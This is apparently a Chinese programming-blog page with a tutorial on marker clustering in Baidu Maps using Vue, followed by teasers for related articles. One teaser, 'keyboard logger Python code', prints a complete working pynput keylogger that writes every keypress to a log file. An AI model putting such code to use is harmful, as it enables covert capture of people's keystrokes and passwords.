Vue使用百度地图实现聚合的效果(vue-baidu-map)

Vue使用百度地图实现聚合的效果(vue-baidu-map)

  1. 安装插件:yarn add vue-baidu-map
  2. main.js中全局引入密钥(在百度开发者中心注册):
    import BaiduMap from 'vue-baidu-map'
    Vue.use(BaiduMap, {ak: 'your_app_key' // 百度地图秘钥
    })
    
  3. 代码实现:
<template><baidu-map id="allmap" :zoom="mapZoom" :center="mapCenter" class="allmap"  :scroll-wheel-zoom="true"></baidu-map>
</template>
<script type="text/javascript">export default{data() {return {map: null,mapCenter:{ lng: 121.508483, lat: 31.289045 },mapZoom:13,},}mounted(){this.getList()this.initMap()},methods: {// 初始化地图initMap() {const that = this// GL版命名空间为BMapGL  创建Map实例that.map = new BMapGL.Map("allmap");// 初始化地图,设置中心点坐标和地图级别that.map.centerAndZoom(new BMapGL.Point(that.mapCenter.lng, that.mapCenter.lat), 5);  //开启鼠标滚轮缩放that.map.enableScrollWheelZoom(true);    // 设置地图类型为地球模式 that.map.setMapType(BMAP_EARTH_MAP); // 监听地图层级that.map.addEventListener("zoomend", function(e) {var ZoomNum = that.map.getZoom();if (ZoomNum <= 6) {that.getqingdanList(30)} else if (ZoomNum > 6 && ZoomNum < 10) {that.getList(50) // 设置像素聚合的距离阈值为 50 像素} else {that.getList(100) // 设置像素聚合的距离阈值为 50 像素}});},pixelCluster(markers, distance) {// 先清除之前的详细点位信息// if (this.map != null && this.map.getOverlays() != null && this.map.getOverlays().length > 0) {//   this.map.clearOverlays()// }let clusters = []for (let i = 0; i < markers.length; i++) {let cluster = [markers[i]]for (let j = i + 1; j < markers.length; j++) {const pixel1 = this.map.pointToPixel(new BMapGL.Point(markers[i].lng, markers[i].lat))const pixel2 = this.map.pointToPixel(new BMapGL.Point(markers[j].lng, markers[j].lat))const pixelDistance = Math.sqrt(Math.pow(pixel1.x - pixel2.x, 2) + Math.pow(pixel1.y - pixel2.y, 2))if (pixelDistance < distance) {cluster.push(markers[j])markers.splice(j, 1)j--}}clusters.push(cluster)}// 创建自定义图标,本地的图片var myIcon = new BMapGL.Icon('src/assets/img/biaoqian.png', new BMapGL.Size(23, 25), {      anchor: new BMapGL.Size(10, 25), });// 在地图上显示聚合后的数据clusters.forEach(cluster => {const center = this.getClusterCenter(cluster)// 获取对一个的qingdanIdconst qingdanId = this.getClusterQingdanId(cluster)const label = new BMapGL.Label(cluster.length, {offset: new BMapGL.Size(15, -30)})//文本标注样式,transform为X轴平移,即文本居中显示label.setStyle({color: "#fff",//backgroundColor: "rgba(0, 0, 0, 0.5)",backgroundColor: "rgba(0, 0, 0, 0.3)",borderRadius: "10px",padding: "0 10px",fontSize: "14px",lineHeight: "20px",border :"0",transform:'translateX(-50%)'});const marker = new BMapGL.Marker(center, {icon: myIcon})// 这里用于其它方法marker.qingdanId = {qingdanId: qingdanId}// 主要用于清除数据:根据id清除marker.myId = "shouyetubiao";marker.setLabel(label)this.map.addOverlay(marker)})},getClusterCenter(cluster) {let totalLng = 0let totalLat = 0cluster.forEach(marker => {totalLng += parseFloat(marker.lng)totalLat += parseFloat(marker.lat)})const centerLng = totalLng / cluster.lengthconst centerLat = totalLat / cluster.lengthreturn new BMapGL.Point(centerLng, centerLat)},getClusterQingdanId(cluster) {let qingdanId = null;cluster.forEach(marker => {qingdanId = marker.qingdanId})return qingdanId},getqingdanList(xiangsu) {// 根据名称移除指定覆盖物if (this.map != null && this.map.getOverlays() != null && this.map.getOverlays().length > 0) {this.removeOverlayById("shouyetubiao")}this.$http({url: this.$http.adornUrl('/qingdan/list'),method: 'get',}).then(({data}) => {if (data.code === 0) {this.qingdanList = data.qingdanList}})this.pixelCluster(this.qingdanList, xiangsu)  },// 根据id删除覆盖物removeOverlayById(id) {var overlays = this.map.getOverlays();overlays.forEach(overlay => {if(overlay.myId === id) {this.map.removeOverlay(overlay)}});},} }
</script>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/655750.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PySimpleGUI界面读取PDF转换Excel

PySimpleGUI 是一个用于创建图形用户界面的 Python 库&#xff0c;而 PDF 文件和 Excel 文件是两种不同的数据格式。要将 PDF 文件转换为 Excel 文件&#xff0c;你需要使用额外的库&#xff0c;如 pdf2excel。 下面是一个示例流程&#xff0c;展示了如何使用 PySimpleGUI 创建…

Compose | UI组件(十一) | Spacer - 留白

文章目录 前言Spacer组件的参数说明Spacer组件的使用 总结 前言 Spacer组件是让两组件之间留有空白间隔 Spacer组件的参数说明 Spacer只有一个修饰符&#xff0c;修饰留空白的大小和比例&#xff0c;颜色 Spacer(modifier: Modifier)Spacer组件的使用 Row {Box(modifier M…

Ruby安装演示教程

当涉及到 Ruby 的安装过程时&#xff0c;一种常见的方法是通过 RVM&#xff08;Ruby Version Manager&#xff09;来进行安装和管理。以下是在 Linux 系统上使用 RVM 安装 Ruby 的步骤演示教程&#xff1a; 1、安装 RVM&#xff1a; # 在终端中执行以下命令来下载并安装 RVM…

【React教程】(2) React之JSX入门与列表渲染、条件渲染详细代码示例

目录 JSX环境配置基本语法规则在 JSX 中嵌入 JavaScript 表达式在 JavaScript 表达式中嵌入 JSXJSX 中的节点属性声明子节点JSX 自动阻止注入攻击在 JSX 中使用注释JSX 原理列表循环DOM Elements 列表渲染语法高亮 条件渲染示例1&#xff1a;示例2&#xff1a;示例3&#xff08…

Learn to Earn,Move星航计划第三期诚邀您探索编程和区块链的乐趣

*以下文章来源于MoveFuns &#xff0c;作者MoveFuns DAO 星航计划是一个 Web3 技术的公益计划,旨在引导更多的人加入开源社区,学习Move语言&#xff0c;了解Web3。本期星航计划由 MoveFuns Dao 发起&#xff0c;由Sui官方基金会支持&#xff0c;汇集了 Web3开发领域内的专业导…

FullStack之Django(1)开发环境配置

FullStack之Django(1)开发环境配置 author: Once Day date&#xff1a;2022年2月11日/2024年1月27日 漫漫长路&#xff0c;才刚刚开始… 全系列文档请查看专栏: FullStack开发_Once_day的博客-CSDN博客Django开发_Once_day的博客-CSDN博客 具体参考文档: The web framewor…

键盘记录器Python代码

键盘记录器完整代码 from pynput.keyboard import Key, Listener import logging logging.basicConfig(filename("keylog.txt"), levellogging.DEBUG, format" %(asctime)s - %(message)s") def on_press(key):logging.info(str(key)) with Listener(on_p…

mysql 正则表达式用法(一)

记录下关于mysql中regexp 正则匹配字符串的相关用法 一、匹配字符类 [:alnum:]  任意字母和数字(同[a-zA-Z0-9]) [:alpha:]  任意字符(同[a-zA-Z]) [:blank:]  空格和制表(同[\t]) [:cntrl:]  ASCII控制字符(ASCII 0到31和127) [:digit:]  任意数字(同[0-9]) [:graph:] …

Leetcode 203 移除链表元素

Leetcode 203 移除链表元素 准备工作1&#xff09;ListNode基本结构2&#xff09;初始化ListNode集合 解法一&#xff1a;遍历判定解法二&#xff1a;递归判定 Leetcode 203 移除链表元素 准备工作 1&#xff09;ListNode基本结构 public class ListNode {public int val;pu…

图灵之旅--ArrayList顺序表LinkedList链表栈Stack队列Queue

目录 线性表顺序表ArrayList简介ArrayList使用ArrayList的构造ArrayList常见操作ArrayList的遍历ArrayList的扩容机制利用ArrayList洗牌ArrayList的优缺点 链表链表的实现双向链表的实现 LinkedListLinkedList引入LinkedList的使用LinkedList的构造LinkedList的常用方法介绍Lin…

pytorch nearest upsample整数型tensor

在用 torch.nn.Upsample 给分割 label 上采样时报错&#xff1a;RuntimeError: "upsample_nearest2d_out_frame" not implemented for Long。 参考 [1-3]&#xff0c;用 [3] 给出的实现。稍微扩展一下&#xff0c;支持 h、w 用不同的 scale factor&#xff0c;并测试…

ArcGIS Pro如何新建字段

无论是地图制作还是数据分析&#xff0c;字段的操作是必不可少的&#xff0c;在某些时候现有的字段不能满足需求还需要新建字段&#xff0c;这里为大家讲解一下在ArcGIS Pro中怎么新建字段&#xff0c;希望能对你有所帮助。 数据来源 教程所使用的数据是从水经微图中下载的水…

pytorch安装教程(Anaconda + GPU)

可以去nvidia官网更新驱动 获取下载pytorch的命令地址&#xff1a;Start Locally | PyTorch 在这里可以找到旧版本的cuda的命令&#xff1a;Previous PyTorch Versions | PyTorch 如果使用conda没有安装成功的话&#xff0c;就使用pip&#xff1a;

ToF传感器在移动机器人中的作用

原创 | 文 BFT机器人 在日新月异的机器人技术领域&#xff0c;技术的无缝整合正引领着人类与机器交互方式的革新潮流。ToF传感器作为变革性创新的一个例子&#xff0c;对移动机器人更好地感知周围环境起到了决定性的作用。 ToF传感器与激光雷达技术在创建深度图方面有着异曲同…

大模型视觉理解能力更进一步,谷歌提出全新像素级对齐模型PixelLLM

论文题目&#xff1a;Pixel Aligned Language Models 论文链接&#xff1a;https://arxiv.org/abs/2312.09237 项目主页&#xff1a;Pixel Aligned Language Models 近一段时间以来&#xff0c;大型语言模型&#xff08;LLM&#xff09;在计算机视觉领域中也取得了巨大的成功&a…

Unity 观察者模式(实例详解)

文章目录 简介示例1 - 简单的文本更新通知示例2 - 多观察者监听游戏分数变化示例3 - 事件系统实现观察者模式示例4 - 泛型观察者和可序列化的事件系统示例5 - 使用C#委托简化版 简介 在Unity中实现观察者模式&#xff0c;我们可以创建一个Subject&#xff08;目标/主题&#x…

前端面试题-js部分-数组去重-数组扁平化-伪数组转数组-面向对象的继承方式(ES5)

前端面试题-js部分-数组去重-数组扁平化-伪数组转数组-面向对象的继承方式ES5 数组去重数组扁平化伪数组转换为数组面向对象的继承方式&#xff08;ES5&#xff09; 数组去重 1.利用es6 set 去重 Set 类型不允许有值重复 let arr1 [1, 2, 4, 3, 5, 7, 1, 8, 2, 4, 9]console.…

WebRTC系列-自定义媒体数据加密

文章目录 1. 对外加密接口2. 对外加密实现前面的文章都有提过WebRTC使用的加密方式是SRTP这个库提供的,这个三方库这里就不做介绍,主要是对rtp包进行加密;自然的其调用也是WebRTC的rtp相关模块;同时在WebRTC里也提供一个自定义加密的接口,本文将围绕这个接口做介绍及分析;…

【郑益慧】模拟电子技术:7.Mos管的工作原理

Mos管的工作原理 Mos管的出现&#xff0c;几乎不怎么耗电。因此在集成电路中起了非常大的作用 在某些方面确实比晶体三极管强。 基本原理&#xff1a;依靠电场效应来控制。 电场效应几乎是没有电流的&#xff0c;没有电流几乎是没有功率的。 从控制上来说&#xff0c;消耗…

华为——NGFW Module安装在集群交换机上,二层双机负载分担部署,交换机重定向引流

NGFW Module安装在集群交换机上&#xff0c;二层双机负载分担部署&#xff0c;交换机重定向引流 业务需求 如图1所示&#xff0c;两台交换机集群组网&#xff0c;两块NGFW Module分别安装在两台交换机的1号槽位组成双机负载分担组网。NGFW Module工作在二层&#xff0c;也就是…